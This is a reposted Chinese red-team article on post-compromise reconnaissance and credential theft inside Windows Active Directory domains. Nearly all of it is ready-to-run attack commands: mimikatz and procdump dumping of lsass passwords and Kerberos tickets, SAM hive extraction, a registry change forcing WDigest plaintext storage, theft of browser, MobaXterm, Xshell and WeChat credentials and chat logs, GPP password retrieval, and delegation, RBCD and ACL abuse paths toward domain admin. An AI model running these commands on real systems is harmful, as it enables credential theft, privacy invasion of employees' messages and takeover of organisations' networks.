连载|红队知识体系梳理-域内信息收集
2023-5-17 00:47:49 Author: 白帽子(查看原文) 阅读量:52 收藏

白帽子

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

前言

通过打点、钓鱼拿下一台PC、服务器突破边界进入内网,先进行信息收集。包括但不限于:

1.网络、进程服务、用户、系统信息等2.文件,特别是当前用户目录等

3.主机凭证:包括kerberos票据、主机密码,RDP凭证 等

4.第三方程序:第三方终端管理程序凭证,浏览器记录和密码,数据库管理工具凭证,微信记录等

5.域信息:当前域名/域SID,域用户/域管用户/委派用户,域控机器/DNS服务机器/ADCS机器/exchange机器,LDAP记录/DNS记录,ACL/GPO,域信任关系等

网络相关

arp -a # 查看arp缓存表route print # 路由表netstat -ano # 查看网络连接ipconfig /displaydns # 查看dns缓存type c:\Windows\system32\drivers\etc\hosts # 查看hosts文件tracert baidu.com # 通过跃点跟踪路由跳转信息中间件和数据库配置文件

用户进程

ver     # 查看系统版本systeminfo  # 查看系统配置tasklist /svc # 查看正在运行的进程服务tasklist /V /FO CSV # 详细进程query user # 查看登录会话net session # 列出本地计算机连接的客户端对话信息whoami /all  net localgroup administrator
wmic product get name,version # 查询所有安装过的软件及版本wmic service list brief # 查询当前机器的服务信息

凭据相关

一、主机票据

票据

klist # 查看当前用户缓存的票据凭证
mimikatz.exe  "privilege::debug"  "sekurlsa::tickets /export" exit # 导出lsass进程票据mimikatz.exe "kerberos::ptt gold.kirbi" exit  # 注入票据

mimikatz

RDP凭据

cmdkey /list # 查看当前用户保存的RDP凭证dir /a %userprofile%\appdata\local\microsoft\credentials\*  # 查找本地的Credentialsreg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" # rdp连接默认的10个记录reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s # 当前用户rdp连接历史li记录

1.使用Invoke-WCMDump脚本导出,不能导出域凭证

powershell -exec bypass  Import-Module  .\Invoke-WCMDump.ps1;Invoke-WCMDump

2.使用Mimikatz破解凭证

3.导出svchost进程内存查询密码明文

4.使用Mimikatz从已存在的RDP连接中导出凭据

mimikatz.exe "privilege::debug" "ts::logonpasswords" exit > log.txt

主机密码-读取lsass

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > log.txt
procdump64.exe -accepteula -ma lsass.exe lsass.dmpmimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
xiaomimi.exe 1

读取SAM

reg save hklm\sam sam.hivereg save hklm\security security.hivereg save hklm\system system.hive
mimikatz.exe "lsadump::sam /sam:sam.hive \security:hive.save" exit python secretsdump.py -sam sam.hive -security security.hive -system system.hive LOCAL

安装KB2871997补丁后lsass不保存明文,手动开启Wdigest Auth后锁屏让管理员重新输密码,2012 r2后默认自带

# 开启Wdigest Authreg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f# 锁屏rundll32 user32.dll,LockWorkStation

二、终端管理软件凭据

浏览器凭证记录

BrowserData.exe -b all -f json --dir C:\Users\Public\1\   
HackBrowserData.exe # 会在当前目录下生成results目录

HackBrowserData

其他第三方终端管理工具

SharpDecryptPwd

# 支持Navicat,TeamViewer,FileZilla,Foxmail,TortoiseSVN,Chrome,RDCMan,SunLogin,WinSCP,Xmangager系列产品(Xshell,Xftp)SharpDecryptPwd.exe --help 

Xshell全版本导出

SharpXDecrypt

SharpXDecrypt.exe 

how-does-MobaXterm-encrypt-password

1、注册表方式解密

reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\P  # 查询密码字段reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm  # 查询SessionP reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\C # 查询凭证字段
# 存在主密码解密ShowMobaXterm.exe 主密码 >1.txtMobaXtermCipher.py dec -p 主密码 密文# 不存在主密码解密python MobaXtermCipher.py dec -sysh 机器主机名 -sysu 机器用户名 -h 密文对应ip -u 密文对应用户 密码密文 # 解密密码字段密文python MobaXtermCipher.py dec -sp SessionP 凭证密文 # 解密凭证字段密文

2、配置文件保存方式解密
会保存在MobaXterm目录下的MobaXterm.ini文件,可以直接将MobaXterm.ini文件导出,替换配置文件导入本地MobaXterm
MobaXterm.ini中[passwords]字段为密码字段,SessionP字段是SessionP值

# 存在主密码解密MobaXtermCipher.py dec -p 主密码 密文# 不存在主密码解密python MobaXtermCipher.py dec -sysh 机器主机名  -sysu 机器用户名 -h 密文对应ip -u 密文对应用户 密码密文 # 解密密码字段密文python MobaXtermCipher.py dec -sp SessionP 凭证密文  # 解密凭证字段密文

据库管理工具

Navicat

SharpDecryptPwd Navicat

三、中间件和数据库配置

查看中间件和数据库配置文件,收集密码形成密码字典进行后续凭证爆破

四、微信

微信记录

https://github.com/Ormicron/Sharp-dumpkey
导出微信密钥,需要微信在登录

Sharp-dumpkey.exe # 会生成DBPass.bin

导出聊天记录

C:\Users\test\Documents\WeChat Files\微信ID\Msg\MicroMsg.dbC:\Users\test\Documents\WeChat Files\微信ID\Msg\Multi\MSG*.db

chatViewTool

将密钥DBPass.bin和db数据库放在同目录下,用chatViewTool打开

域信息相关

一、基础信息

net group "domain admins" /domain # 查看域管用户net group "Enterprise Admins"  /do  # 查看企业系统管理员组net group "domain controllers"  /domain # 查看域控制器组net group "Exchange Servers" /do # 查看exchange组net time /domain # 查看当前域的时间服务器netdom query pdc  # 查看主域控制器nltest /domain_trusts   # 查看域信任关系
net group "DnsAdmins" # 查看DNS组net group "Organization Management" # 查看exchange管理组net group "Schema Admins"net group "Group Policy Creator Owners"
net group /domain # 查看当前域所有组net user /domain # 查看当前域的所有域用户net group "domain computers" /domain # 查看域机器组

net view /domain # 查看查看内网存在多少个域net view /domain:qaq.com //查看QAQ.com域内的所有主机net view # 查看当前域所有主机共享,既:存活主机名net view \\192.168.1.1 # 查看指定机器的共享列表 net view \\主机名net accounts /domain # 查看密码策略net config workstation # 查看当前登录域
certutil -dump -v # ADcs服务
# 查看当前本地组。可能会配置域用户组加入当前机器的管理员组net localgroup administratorsnet localgroup users
# 使用安全帐户管理器远程API获取用户python  samrdump.py qaq.com/admin:[email protected]192.168.10.250
# 使用impacket GetADUsers脚本从ldap获取域用户 python GetADUsers.py qaq.org/administrator:Aa123456 -dc-ip 192.168.11.250 -all

二、DNS记录

通过ldap查询dns记录

OU:

CN=MicrosoftDNS,DC=DomainDnsZones,DC=qaq,DC=com

objectClass:

dnsNode

adidnsdump

# 会在当前目录生成records.csv文件adidnsdump ldap://192.168.10.250 -u qaq\test -p Aa123456 -r  --dns-tcp  # 代理远程执行adidnsdump.exe  ldap://192.168.10.250 -u qaq\test -p Aa123456 -r

SharpAdidnsdump

# 通过SharpAdidnsdumpSharpAdidnsdump.exe 192.168.10.250  > dbs.txt

powerview

powershell -exec bypass  Import-Module  .\powerview.ps1;"Get-DNSRecord -ZoneName qaq.com | select name,data > dns.txt"

通过dns域传送漏洞获取全部DNS解析记录

nslookupserver test.qaq.com  # 设置dnsls qaq.com # 列出记录
dig axfr @test.qaq.com  qaq.com

三、关键机器探测

SNP

查询SPN收集重要服务定向攻击,例如:exchange服务、adcs服务

setspn -T domain.com -Q */*    # 服务主体,使用Kerberos须为服务器注册SPN

自动化工具

cscript GetUserSPNs.vbs

定位域管机器/查询域账户和机器关系

1.查询域管组账户登录机器,定向攻击后拿域管凭证;
2.查询域控登录的会话session,定向攻击拿凭证登域控;
3.通过LDAP查询IT部门、运维人员、与靶标相关的部门人员,查询这些人员登录的机器,定向攻击;

通过查询机器的登录会话定位

通过远程注册表查询机器当前登录的用户会话,默认PC机器没有开启允许注册表远程连接
通过NetSessionEnum API查询当前访问机器网络资源的用户名称和来源IP
通过NetWkstaUserEnum API查询登录机器的所有用户,需要机器的管理员权限

SharpDomainSession

查询指定机器登录的用户、IPC会话
SharpDomainSession

通过远程注册表方式、NetSessionEnum API、NetWkstaUserEnum API查询域控机器登录的用户/IPC连接会话

# NetWkstaUserEnum API接口需要目标机器的访问权限SharpDomainSession.exe test.qaq.com

psloggedon

psloggedon是微软PSTOOLS套件,查询指定机器登录会话,查询指定用户登录的机器

# 显示指定机器当前登录的用户和网络会话psloggedon.exe \\test  
# 显示指定用户当前登录的机器,通过遍历远程注册表方式。PC终端默认不允许远程注册表psloggedon.exe administrator

pveFindADUser

会调用远程注册表方式、NetSessionEnum API、NetWkstaUserEnum API三种方式进行枚举所有机器登录的用户会话,枚举指定账户登录的机器,枚举指定机器登录的会话

ADFindUsersLoggedOn

# 枚举所有机器登录的账户pveFindADUser.exe -current 
# 枚举登录admin账户的机器pveFindADUser.exe -current "qaq\admin"
# 枚举test机器当前登录的所有账户pveFindADUser.exe -current -target test
# 不探测存活pveFindADUser.exe -current -noping
# 查询test机当前最后一个登录的用户pveFindADUser.exe -current -target test -last

netview

netview

只使用WinAPI 枚举所有机器登录会话和共享

# 枚举所有机器的共享,调用二个API接口查询机器登录的会话。需要机器的访问权限,一般用域管用户netview.exe -d
# 指定从中提取主机列表的文件netview.exe -f filename.txt -d
# 检查对已找到共享的访问权限netview.exe -d -c

ldap定位

域账户绑定登录机器

查询域用户userWorkstations属性查询登录绑定机器

ldapsearch -x -H  ldap://192.168.10.250 -D "admin@qaq.com"  -w Aa123456  -b "DC=qaq,DC=com" "(userWorkstations=*)"  | grep   -E "userWorkstations|sAMAccountName"

定位委派账户

约束/非约束委派:查询配置约束委派和非约束委派的服务账户/机器定向攻击,攻击成功后委派访问域控制器

资源委派:
1.查询重要机器(域控制器、委派权限机器、运维人员个人机等)的mS-DS-CreatorSID加域账户,定位攻击这些域账户,然后修改主机属性msDS-AllowedToActOnBehalfOfOtherIdentity配置资源约束委派获取权限;
2.获得域账户后,查询通过该账户加域的机器,然后修改主机属性msDS-AllowedToActOnBehalfOfOtherIdentity配置资源约束委派获得权限;

约束委派和非约束委派

powerview

# 查询非约束委派的主机 powershell -exec bypass  Import-Module .\PowerView.ps1;"Get-NetComputer -Unconstrained -Domain qaq.com ">test.txt# 查询非约束委派的服务账户powershell -exec bypass  Import-Module .\PowerView.ps1;"Get-NetUser -Unconstrained -Domain qaq.com ">test.txtpowershell -exec bypass  Import-Module .\PowerView.ps1;"Get-NetComputer -Unconstrained -Domain qaq.com ";"Get-NetUser -Unconstrained -Domain qaq.com | select name">test.txt

Addend

# 查找域中配置非约束委派的服务用户 AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName# 查找域中配置非约束委派的主机 AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

# 查找域中配置约束委派服务用户:AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto# 查找域中配置约束委派的主机AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

ldapsearch linux kali自带
(注意-D是distinguishedname字段是账户的区别名称,和sAMAccountName登录账户名可能不一致)

# 查找域中配置非约束委派的用户ldapsearch -x -H ldap://192.168.10.250:389 -D "CN=admin,CN=Users,DC=qaq,DC=com" -w Aa123456 -b "DC=qaq,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

# 查找域中配置非约束委派的主机ldapsearch -x -H ldap://192.168.10.250:389 -D "CN=admin,CN=Users,DC=qaq,DC=com" -w Aa123456 -b "DC=qaq,DC=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
# 查找域中配置约束委派服务用户ldapsearch -x -H ldap://192.168.10.250:389 -D "CN=admin,CN=Users,DC=qaq,DC=com" -w Aa123456 -b "DC=qaq,DC=com" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"# 查找域中配置约束委派的主机ldapsearch -x -H ldap://192.168.10.250:389 -D "CN=admin,CN=Users,DC=qaq,DC=com" -w test123.. -b "DC=qaq,DC=com" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

资源性约束委派(RBCD)

1.查询重要机器(域控制器、委派权限机器、运维人员个人机等)的mS-DS-CreatorSID加域账户,定向攻击这些域账户,修改主机属性(msDS-AllowedToActOnBehalfOfOtherIdentity)配置资源委派获得权限;
2.获得域账户后,查询通过该账户加域的机器,修改主机属性(msDS-AllowedToActOnBehalfOfOtherIdentity)配置资源委派获得权限;

注:2012 的域控才有这个特性,msDS-AllowedToActOnBehalfOfOtherIdentity属性

# 如果mS-DS-CreatorSID为空代表通过域管加入域环境# 使用AdFind查询所有机器mS-DS-CreatorSID属性AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSIDAdFind.exe -h 192.168.10.250 -u admin -up Aa123456 -b "DC=qaq,DC=com" -f "objectClass=computer" mS-DS-CreatorSID# 使用AdFind查询指定机器mS-DS-CreatorSID属性AdFind.exe -h 192.168.10.250 -u admin -up Aa123456 -b "CN=TEST4-WIN7,CN=Computers,DC=qaq,DC=com" -f "objectClass=computer" mS-DS-CreatorSID# 根据SID查询对应账户CN全名AdFind.exe -b "DC=qaq,DC=com" -f "(&(objectsid=S-1-5-21-3105699010-1460039537-418241315-1118))" objectclass cn dn
# 查询账户SIDAdFind.exe -b "DC=qaq,DC=com" -f "(sAMAccountName=admin)" objectSid # 通过域账户SID查询使用该账户加域的机器AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-3105699010-1460039537-418241315-1118))" cn sAMAccountType objectCategory

域外定位域控制器

扫描88,389,636,3268,3269端口定位域控制器。88是kerberos认证端口,389是ldap服务端口,636是ldap tls服务端口

域外定位exchange机器

扫描25,443,465,587,2525端口

定位adcs

certutil -dump -v  # 域内定位

https://github.com/ly4k/Certipy

certipy find "qaq.org/test:[email protected]" -debug  # 域外定位

四、ACL

查看高权限目标对象的ACL安全访问控制列表,扩展到目标的攻击路径。通过间接攻击对应的DACL对象获取高权限目标权限

使用SharpHound分析acl

使用SharpHound分析高权限目标的acl INBOUND CONTROL RIGHTS 入站控制权限,查看可访问该目标的DACL
获取到一个用户/机器权限的时候,使用SharpHound分析该对象的ACL OUTBOUND OBJECT CONTROL 出站控制权限,查看该对象可访问的DACL

使用Invoke-ACLPwn分析不安全的acl

也是通过调用SharpHound功能模块分析
https://github.com/fox-it/Invoke-ACLPwn

可管控目标的acl:

AddMembers          //可以将任何用户加入这个组,权限利用针对的对象为组对象User-Force-Change-Password          //更改目标用户的密码DS-Replication-Get-Changes和 DS-Replication-Get-Changes-All      //拥有dcsyns权限。利用针对的对象为域对象GenericAll      //授予目标对象的完全控制权。包括WriteDacl和WriteOwner特权。GenericWrite        //此权限能够更新目标对象的属性值Self-Membership     //某个账户能够把自身添加到对应组的权限(需要在某个组的高级权限中添加ACE,也就是说针对的是组对象)WriteProperty       //WriteProperty直译为写所有权。这个权限利用针对的对象为组对象,能够赋予账户对于某个组的可写权限WriteOwner      //对一个组具有WriteProperty权限的情况下,“写入全部属性”除了WriteProperty还包括了其他的权限WriteDacl   //WriteDacl允许委托人修改受影响对象的DACL。这意味着攻击者可以添加或删除特定的访问控制项,从而使他们可以授予自己对对象的完全访问权限。因此,WriteDacl是在链中启用其他权利的权利AllExtendedRights       //拥有所有扩展权限。包括:User-Force-Change-Password权限、AddMember权限、GenericAll权限等Full Control        //具备所有权限

使用RACE利用acl获取特权

https://github.com/samratashok/RACE

五、GPO

GPP MS14-025漏洞,2012以上已修复。查询组策略是否配置了账户密码,XM文件中cpassword字段

PowerSploit项目Exfiltration模块

powershell -exec bypass  -Command "&{import-module .\Get-GPPPassword.ps1;Get-GPPPassword -verbose}"

、ldap分析

拿到域账户、域内有效凭证,通过ldap分析域信息

SharpHound

使用SharpHound分析域架构、信息
SharpHound

# 使用SharpHound分析ldap数据,执行后生成zip压缩包。注意.net版本限制SharpHound.exe -c all --EncryptZip powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound  all"
SharpHound.exe -d qaq.com --DomainController test.qaq.com --LdapPort 389 --LdapUsername test --LdapPassword Aa123456 # 非域主机使用凭证
runas /netonly /user:qaq.com\admin cmd.exe # 使用runas指定当前凭证

将生成的zip压缩包导入BloodHound平台可视化分析

sudo neo4j startbloodhound

ADExplorer

使用ADExplorer连接和导出LDAP数据库

ADExplorer.exe -snapshot "" result.dat /accepteula

ldapsearch

使用ldapsearch搜索LDAP

# 统计机器数量ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456   -b "DC=qaq,DC=com" "(sAMAccountType=805306369)"|grep dNSHostName | wc -l# 统计用户数量ldapsearch -x -H  ldap://192.168.10.250 -D "admin@qaq.com"  -w Aa123456  -b "DC=qaq,DC=com" "(sAMAccountType=805306368)" | grep sAMAccountName | wc -l
# 查看域管ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=Domain Admins,CN=users,DC=qaq,DC=com" "(member=*)" | grep memberldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=Schema Admins,CN=users,DC=qaq,DC=com" "(member=*)" | grep memberldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=Group Policy Creator Owners,CN=users,DC=qaq,DC=com" "(member=*)" | grep memberldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=Enterprise Admins,CN=users,DC=qaq,DC=com" "(member=*)" | grep member
# 查看受保护的对象ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "DC=qaq,DC=com" "(admincount=1)" | grep sAMAccountName

# 查看DnsAdmins组ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=DnsAdmins,CN=users,DC=qaq,DC=com" "(member=*)" | grep member
# 查询域控制器ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "ou=domain controllers,DC=qaq,DC=com" | grep sAMAccountName
# 查询Exchange机器ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=Exchange Servers,OU=Microsoft Exchange Security Groups,DC=qaq,DC=com" "(member=*)" | grep member# 查询Exchange管理用户ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=Organization Management,OU=Microsoft Exchange Security Groups,DC=qaq,DC=com" "(member=*)" | grep member

安恒信息

杭州亚运会网络安全服务官方合作伙伴

成都大运会网络信息安全类官方赞助商

武汉军运会、北京一带一路峰会

青岛上合峰会、上海进博会

厦门金砖峰会、G20杭州峰会

支撑单位北京奥运会等近百场国家级

重大活动网络安保支撑单位

END

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246699&idx=1&sn=f0879d5e6fbd39753099a047460395e7&chksm=82ea5582b59ddc9459e0c7cf2198ffaf0d28bad381cc103f66aaecc3f65a513cb36f7c8a91ba#rd
如有侵权请联系:admin#unsafe.sh